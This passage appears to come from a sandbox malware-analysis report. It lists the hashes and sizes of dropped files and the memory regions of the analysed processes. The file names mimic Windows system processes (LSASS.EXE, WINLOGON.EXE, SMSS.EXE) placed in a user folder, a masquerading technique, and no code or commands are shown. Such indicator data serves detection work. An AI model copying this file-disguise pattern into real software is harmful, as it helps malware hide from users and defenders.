                                        5efe12e06d431dd56df471e9bce3ec40a1b2af2e

                                        SHA256

                                        c18940f0625571fc9940485a44d723d4cc8052a154dfce9506025413ce8e9f05

                                        SHA512

                                        51410899ca6dc1d4438a613fab2386fe05624b88fa0815761bcf338679192d2b5e883a4c5aca1a16a49a42b40d98ee7a8fef915adf4c374a97fe8826c077f980

                                        Download Submit

                                      • C:\Users\Admin\Local Settings\Application Data\WINDOWS\LSASS.EXE
                                        Filesize

                                        272KB

                                        MD5

                                        8925a3dd0897dd5b9c6bb4fa1bf8f18c

                                        SHA1

                                        13e6bf0b80347e756cb6583be561b59fe977b554

                                        SHA256

                                        b2c48519d4aef1845d7d4f9d7f021e2b6d12d8d64253161a812d9bbd853e4977

                                        SHA512

                                        c90d137f44d82a5bc807f682f35309bdbd5858ffa8c6d5cc31f7a1abb0576d727967b0ec483d7e1fce2455e89df68c6890481b40df9f37339115fff3ebd470a4

                                        Download Submit

                                      • C:\Users\Admin\Local Settings\Application Data\WINDOWS\SERVICES.EXE
                                        Filesize

                                        272KB

                                        MD5

                                        ec1639d817868f02100d14a164070e49

                                        SHA1

                                        47921ac66050a04c17ed07803bd33c162f9ff467

                                        SHA256

                                        675f8327b34ce8007cdf61d53ef6470e595f061c3964299bc0a8eb9a1c4a94b7

                                        SHA512

                                        840c9baafe8c96faea516c7c0a9b94fb6d80aa0fa51307045f661f3cf4420f6a8f44432c8015e37016a54ac711933d51f7c8d5e7084a4863179f122ef9893cd5

                                        Download Submit

                                      • C:\Users\Admin\Local Settings\Application Data\WINDOWS\SMSS.EXE
                                        Filesize

                                        272KB

                                        MD5

                                        e7e428bd0477b1edaaa610c2f2e23a0f

                                        SHA1

                                        c235f60fabcc52c8190f6be09fe0458740706c81

                                        SHA256

                                        a14e7695460243625cb5ec1c58208f929b5201c96a63231ddca3ec2ae883d7fc

                                        SHA512

                                        206d14c3dc7d99199cc31e934899e79e51e100ac838702db747e9ff80c847ac29b886f9cd2f9dafdf5975405b66d090dd8b8c7e2004fba7c05ec6fd7b75f92cb

                                        Download Submit

                                      • C:\Users\Admin\Local Settings\Application Data\WINDOWS\WINLOGON.EXE
                                        Filesize

                                        272KB

                                        MD5

                                        b785ce21bea2dd8ec2da499b806dffd6

                                        SHA1

                                        0d98f35b2cde807564b8d89277bd39615008c871

                                        SHA256

                                        f61fa76157c70b2551e9413fc6d14ee867f927b9bc0435da8327a6618b993314

                                        SHA512

                                        ce4791a52b6eaedf5466d3164c55033fbd6819ca8f6dffc35af45a97727a318224854813506e5c6245c5a4df8ca01d84548000f84fb23057c7f8f171fa574bc8

                                        Download Submit

                                      • C:\Windows\SysWOW64\IExplorer.exe
                                        Filesize

                                        272KB

                                        MD5

                                        282a54a9a4317c57c25921c92a82d0f1

                                        SHA1

                                        a16dbb8fab33b5f1756c705b894248705bbcbeb4

                                        SHA256

                                        60cba8e475b8ca2aef34b80a9abf85fdfbc28bc4acd988dd50d15c0ad1bf15ca

                                        SHA512

                                        4f3abd0bd2b94d160051ea33078a4c8e05f305d68128de06f0436845b999a7023b8238d31737ff3f626f353b0a6cdd174d3ff058f3bb51a0d090407235f69a22

                                        Download Submit

                                      • C:\Windows\xk.exe
                                        Filesize

                                        272KB

                                        MD5

                                        96cca09902ae4ed97c5525fce57990f2

                                        SHA1

                                        4297fdee57ddc726a3ed8c1cba0fa980f7f97977

                                        SHA256

                                        af013c172071529d1880c6e1c4a9f7fbfcefae7ba11d62d35f03f1bb4e1071c9

                                        SHA512

                                        fc8f3b47ac4632521cc86f4ebdb0b7cb462af9f935cc97db8cf88f1496f3e5058527492893ad55be99a8e38404bf955fe83ae5867118549e5d7428edeb2ad1c2

                                        Download Submit

                                      • C:\XK\Folder.htt
                                        Filesize

                                        640B

                                        MD5

                                        5d142e7978321fde49abd9a068b64d97

                                        SHA1

                                        70020fcf7f3d6dafb6c8cd7a55395196a487bef4

                                        SHA256

                                        fe222b08327bbfb35cbd627c0526ba7b5755b02ce0a95823a4c0bf58e601d061

                                        SHA512

                                        2351284652a9a1b35006baf4727a85199406e464ac33cb4701a6182e1076aaff022c227dbe4ad6e916eba15ebad08b10719a8e86d5a0f89844a163a7d4a7bbf9

                                        Download Submit

                                      • C:\desktop.ini
                                        Filesize

                                        217B

                                        MD5

                                        c00d8433fe598abff197e690231531e0

                                        SHA1

                                        4f6b87a4327ff5343e9e87275d505b9f145a7e42

                                        SHA256

                                        52fb776a91b260bf196016ecb195550cdd9084058fe7b4dd3fe2d4fda1b6470e

                                        SHA512

                                        a71523ec2bd711e381a37baabd89517dff6c6530a435f4382b7f4056f98aff5d6014e85ce3b79bd1f02fdd6adc925cd3fc051752c1069e9eb511a465cd9908e1

                                        Download Submit

                                      • memory/244-166-0x0000000005040000-0x000000000504E000-memory.dmp

                                        Filesize

                                        56KB

                                        Download

                                      • memory/244-165-0x00000000007F0000-0x000000000080C000-memory.dmp

                                        Filesize

                                        112KB

                                        Download

                                      • memory/540-119-0x00000000056F0000-0x0000000005706000-memory.dmp

                                        Filesize

                                        88KB

                                        Download

                                      • memory/540-113-0x0000000005250000-0x00000000052E6000-memory.dmp

                                        Filesize

                                        600KB

                                        Download

                                      • memory/540-93-0x0000000000790000-0x0000000000A50000-memory.dmp

                                        Filesize

                                        2.8MB

                                        Download

                                      • memory/540-118-0x00000000056D0000-0x00000000056EE000-memory.dmp

                                        Filesize

                                        120KB

                                        Download

                                      • memory/900-47-0x000001AEB5480000-0x000001AEB5481000-memory.dmp

                                        Filesize

                                        4KB

                                        Download

                                      • memory/900-49-0x000001AEB5480000-0x000001AEB5481000-memory.dmp

                                        Filesize

                                        4KB

                                        Download

                                      • memory/900-55-0x000001AEB5480000-0x000001AEB5481000-memory.dmp

                                        Filesize

                                        4KB

                                        Download

                                      • memory/900-56-0x000001AEB5480000-0x000001AEB5481000-memory.dmp

                                        Filesize

                                        4KB

                                        Download

                                      • memory/900-54-0x000001AEB5480000-0x000001AEB5481000-memory.dmp

                                        Filesize

                                        4KB

                                        Download

                                      • memory/900-57-0x000001AEB5480000-0x000001AEB5481000-memory.dmp

                                        Filesize

                                        4KB

                                        Download

                                      • memory/900-58-0x000001AEB5480000-0x000001AEB5481000-memory.dmp

                                        Filesize

                                        4KB

                                        Download

                                      • memory/900-59-0x000001AEB5480000-0x000001AEB5481000-memory.dmp

                                        Filesize

                                        4KB

                                        Download

                                      • memory/900-48-0x000001AEB5480000-0x000001AEB5481000-memory.dmp

                                        Filesize

                                        4KB

                                        Download

                                      • memory/1052-124-0x0000000000710000-0x0000000000724000-memory.dmp

                                        Filesize

                                        80KB

                                        Download

                                      • memory/1564-3963-0x0000000007340000-0x000000000734E000-memory.dmp

                                        Filesize

                                        56KB

                                        Download

                                      • memory/1564-3942-0x000000006DFD0000-0x000000006E01C000-memory.dmp

                                        Filesize

                                        304KB

                                        Download

                                      • memory/1564-3958-0x0000000007390000-0x0000000007426000-memory.dmp

                                        Filesize

                                        600KB

                                        Download

                                      • memory/1564-3962-0x0000000007310000-0x0000000007321000-memory.dmp

                                        Filesize

                                        68KB

                                        Download

                                      • memory/1564-3964-0x0000000007350000-0x0000000007364000-memory.dmp

                                        Filesize

                                        80KB

                                        Download

                                      • memory/1564-3967-0x0000000007450000-0x000000000746A000-memory.dmp

                                        Filesize

                                        104KB

                                        Download

                                      • memory/1564-3968-0x0000000007430000-0x0000000007438000-memory.dmp

                                        Filesize

                                        32KB

                                        Download

                                      • memory/1840-140-0x0000000000400000-0x00000000004A7000-memory.dmp

                                        Filesize

                                        668KB

                                        Download

                                      • memory/1840-167-0x0000000000400000-0x00000000004A7000-memory.dmp

                                        Filesize

                                        668KB

                                        Download

                                      • memory/2272-3815-0x000000001D340000-0x000000001D352000-memory.dmp

                                        Filesize

                                        72KB

                                        Download

                                      • memory/2272-3864-0x000000001BFF0000-0x000000001BFF8000-memory.dmp

                                        Filesize

                                        32KB

                                        Download

                                      • memory/2864-3868-0x0000000140000000-0x000000014072E000-memory.dmp

                                        Filesize

                                        7.2MB

                                        Download

                                      • memory/2864-4191-0x0000000140000000-0x000000014072E000-memory.dmp

                                        Filesize

                                        7.2MB

                                        Download

                                      • memory/2864-3866-0x0000000140000000-0x000000014072E000-memory.dmp

                                        Filesize

                                        7.2MB

                                        Download

                                      • memory/2864-3869-0x000002377B700000-0x000002377B714000-memory.dmp

                                        Filesize

                                        80KB

                                        Download

                                      • memory/2864-3870-0x0000000140000000-0x000000014072E000-memory.dmp

                                        Filesize

                                        7.2MB

                                        Download

                                      • memory/2864-3872-0x0000000140000000-0x000000014072E000-memory.dmp

                                        Filesize

                                        7.2MB

                                        Download

                                      • memory/2864-3871-0x0000000140000000-0x000000014072E000-memory.dmp

                                        Filesize

                                        7.2MB

                                        Download

                                      • memory/2864-3874-0x0000000140000000-0x000000014072E000-memory.dmp

                                        Filesize

                                        7.2MB

                                        Download

                                      • memory/2864-3873-0x0000000140000000-0x000000014072E000-memory.dmp

                                        Filesize

                                        7.2MB

                                        Download

                                      • memory/3156-108-0x000000001BAB0000-0x000000001BB4C000-memory.dmp

                                        Filesize

                                        624KB

                                        Download

                                      • memory/3156-107-0x000000001C0A0000-0x000000001C56E000-memory.dmp

                                        Filesize

                                        4.8MB

                                        Download

                                      • memory/3156-110-0x00000000014F0000-0x00000000014F8000-memory.dmp

                                        Filesize

                                        32KB

                                        Download

                                      • memory/3704-42-0x00000224A5070000-0x00000224A5071000-memory.dmp

                                        Filesize

                                        4KB

                                        Download

                                      • memory/3704-40-0x00000224A5070000-0x00000224A5071000-memory.dmp

                                        Filesize

                                        4KB

                                        Download

                                      • memory/3704-46-0x00000224A5070000-0x00000224A5071000-memory.dmp

                                        Filesize

                                        4KB

                                        Download

                                      • memory/3704-45-0x00000224A5070000-0x00000224A5071000-memory.dmp

                                        Filesize

                                        4KB

                                        Download

                                      • memory/3704-34-0x00000224A5070000-0x00000224A5071000-memory.dmp

                                        Filesize

                                        4KB

                                        Download

                                      • memory/3704-44-0x00000224A5070000-0x00000224A5071000-memory.dmp

                                        Filesize

                                        4KB

                                        Download

                                      • memory/3704-43-0x00000224A5070000-0x00000224A5071000-memory.dmp

                                        Filesize

                                        4KB

                                        Download

                                      • memory/3704-36-0x00000224A5070000-0x00000224A5071000-memory.dmp

                                        Filesize

                                        4KB

                                        Download

                                      • memory/3704-35-0x00000224A5070000-0x00000224A5071000-memory.dmp

                                        Filesize

                                        4KB

                                        Download

                                      • memory/3704-41-0x00000224A5070000-0x00000224A5071000-memory.dmp

                                        Filesize

                                        4KB

                                        Download

                                      • memory/3772-115-0x0000000000700000-0x0000000000717000-memory.dmp

                                        Filesize

                                        92KB

                                        Download

                                      • memory/3772-114-0x0000000000400000-0x0000000000460000-memory.dmp

                                        Filesize

                                        384KB

                                        Download

                                      • memory/4312-2697-0x0000000000400000-0x00000000004A8000-memory.dmp

                                        Filesize

                                        672KB

                                        Download

                                      • memory/4384-85-0x0000000000B70000-0x0000000000D60000-memory.dmp

                                        Filesize

                                        1.9MB

                                        Download

                                      • memory/4480-160-0x0000000000400000-0x0000000000537000-memory.dmp

                                        Filesize

                                        1.2MB

                                        Download

                                      • memory/4480-3833-0x0000000000400000-0x0000000000537000-memory.dmp

                                        Filesize

                                        1.2MB

                                        Download

                                      • memory/4480-3789-0x0000000000400000-0x0000000000537000-memory.dmp

                                        Filesize

                                        1.2MB

                                        Download

                                      • memory/4480-162-0x0000000000400000-0x0000000000537000-memory.dmp

                                        Filesize

                                        1.2MB

                                        Download

                                      • memory/4640-63-0x000001C2E5570000-0x000001C2E5592000-memory.dmp

                                        Filesize

                                        136KB

                                        Download

                                      • memory/4640-73-0x000001C2E5A60000-0x000001C2E5AA4000-memory.dmp

                                        Filesize

                                        272KB

                                        Download

                                      • memory/4640-76-0x000001C2E5AF0000-0x000001C2E5B0E000-memory.dmp

                                        Filesize

                                        120KB

                                        Download

                                      • memory/4640-74-0x000001C2E5B30000-0x000001C2E5BA6000-memory.dmp

                                        Filesize

                                        472KB

                                        Download

                                      • memory/4696-97-0x0000000005770000-0x0000000005D14000-memory.dmp

                                        Filesize

                                        5.6MB

                                        Download

                                      • memory/4696-106-0x0000000005280000-0x000000000528A000-memory.dmp

                                        Filesize

                                        40KB

                                        Download

                                      • memory/4696-95-0x00000000008D0000-0x00000000008F2000-memory.dmp

                                        Filesize

                                        136KB

                                        Download

                                      • memory/4696-98-0x00000000051C0000-0x0000000005252000-memory.dmp

                                        Filesize

                                        584KB

                                        Download

                                      • memory/4776-3856-0x0000000004FF0000-0x000000000500E000-memory.dmp

                                        Filesize

                                        120KB

                                        Download

                                      • memory/4776-94-0x0000000000370000-0x0000000000394000-memory.dmp

                                        Filesize

                                        144KB

                                        Download

                                      • memory/4776-3865-0x00000000063F0000-0x0000000006412000-memory.dmp

                                        Filesize

                                        136KB

                                        Download

                                      • memory/4776-96-0x0000000004BB0000-0x0000000004C16000-memory.dmp

                                        Filesize

                                        408KB

                                        Download

                                      • memory/4776-3854-0x0000000004FB0000-0x0000000004FB8000-memory.dmp

                                        Filesize

                                        32KB

                                        Download

                                      • memory/5680-3791-0x0000000000190000-0x0000000000266000-memory.dmp

                                        Filesize

                                        856KB

                                        Download

                                      • memory/5844-3839-0x0000000000400000-0x0000000000537000-memory.dmp

                                        Filesize

                                        1.2MB

                                        Download

                                      • memory/5844-3837-0x0000000000400000-0x0000000000537000-memory.dmp

                                        Filesize

                                        1.2MB

                                        Download

                                      • memory/5844-3842-0x0000000000400000-0x0000000000537000-memory.dmp

                                        Filesize

                                        1.2MB

                                        Download

                                      • memory/5844-3857-0x0000000000400000-0x0000000000537000-memory.dmp

                                        Filesize

                                        1.2MB

                                        Download

                                      • memory/5844-3843-0x0000000000400000-0x0000000000537000-memory.dmp

                                        Filesize

                                        1.2MB

                                        Download

                                      • memory/6012-3810-0x0000000000400000-0x0000000000436000-memory.dmp

                                        Filesize

                                        216KB

                                        Download

                                      • memory/6012-3763-0x0000000000400000-0x0000000000436000-memory.dmp

                                        Filesize

                                        216KB

                                        Download

                                      • memory/6412-3860-0x0000000000400000-0x0000000000436000-memory.dmp

                                        Filesize

                                        216KB

                                        Download

                                      • memory/6412-3808-0x0000000000400000-0x0000000000436000-memory.dmp

                                        Filesize

                                        216KB

                                        Download

                                      • memory/6412-3829-0x0000000000400000-0x0000000000436000-memory.dmp

                                        Filesize

                                        216KB

                                        Download

                                      • memory/6612-3929-0x00000000073C0000-0x00000000073F2000-memory.dmp

                                        Filesize

                                        200KB

                                        Download

                                      • memory/6612-3941-0x0000000007400000-0x00000000074A3000-memory.dmp

                                        Filesize

                                        652KB

                                        Download

                                      • memory/6612-3953-0x00000000076E0000-0x00000000076FA000-memory.dmp

                                        Filesize

                                        104KB

                                        Download

                                      • memory/6612-3952-0x0000000007D30000-0x00000000083AA000-memory.dmp

                                        Filesize

                                        6.5MB

                                        Download

                                      • memory/6612-3954-0x0000000007750000-0x000000000775A000-memory.dmp

                                        Filesize

                                        40KB

                                        Download

                                      • memory/6612-3955-0x00000000078D0000-0x00000000078FA000-memory.dmp

                                        Filesize

                                        168KB

                                        Download

                                      • memory/6612-3956-0x0000000007900000-0x0000000007924000-memory.dmp

                                        Filesize

                                        144KB

                                        Download

                                      • memory/6612-3957-0x000000006E020000-0x000000006E374000-memory.dmp

                                        Filesize

                                        3.3MB

                                        Download

                                      • memory/6612-3940-0x0000000006960000-0x000000000697E000-memory.dmp

                                        Filesize

                                        120KB

                                        Download

                                      • memory/6612-3930-0x000000006DFD0000-0x000000006E01C000-memory.dmp

                                        Filesize

                                        304KB

                                        Download

                                      • memory/6612-3919-0x0000000006910000-0x000000000695C000-memory.dmp

                                        Filesize

                                        304KB

                                        Download

                                      • memory/6612-3918-0x00000000063B0000-0x00000000063CE000-memory.dmp

                                        Filesize

                                        120KB

                                        Download

                                      • memory/6612-3896-0x0000000005DA0000-0x00000000060F4000-memory.dmp

                                        Filesize

                                        3.3MB

                                        Download

                                      • memory/6612-3888-0x0000000005BC0000-0x0000000005C26000-memory.dmp

                                        Filesize

                                        408KB

                                        Download

                                      • memory/6612-3887-0x0000000005B20000-0x0000000005B42000-memory.dmp

                                        Filesize

                                        136KB

                                        Download

                                      • memory/6612-3876-0x00000000054F0000-0x0000000005B18000-memory.dmp

                                        Filesize

                                        6.2MB

                                        Download

                                      • memory/6612-3875-0x0000000002A90000-0x0000000002AC6000-memory.dmp

                                        Filesize

                                        216KB

                                        Download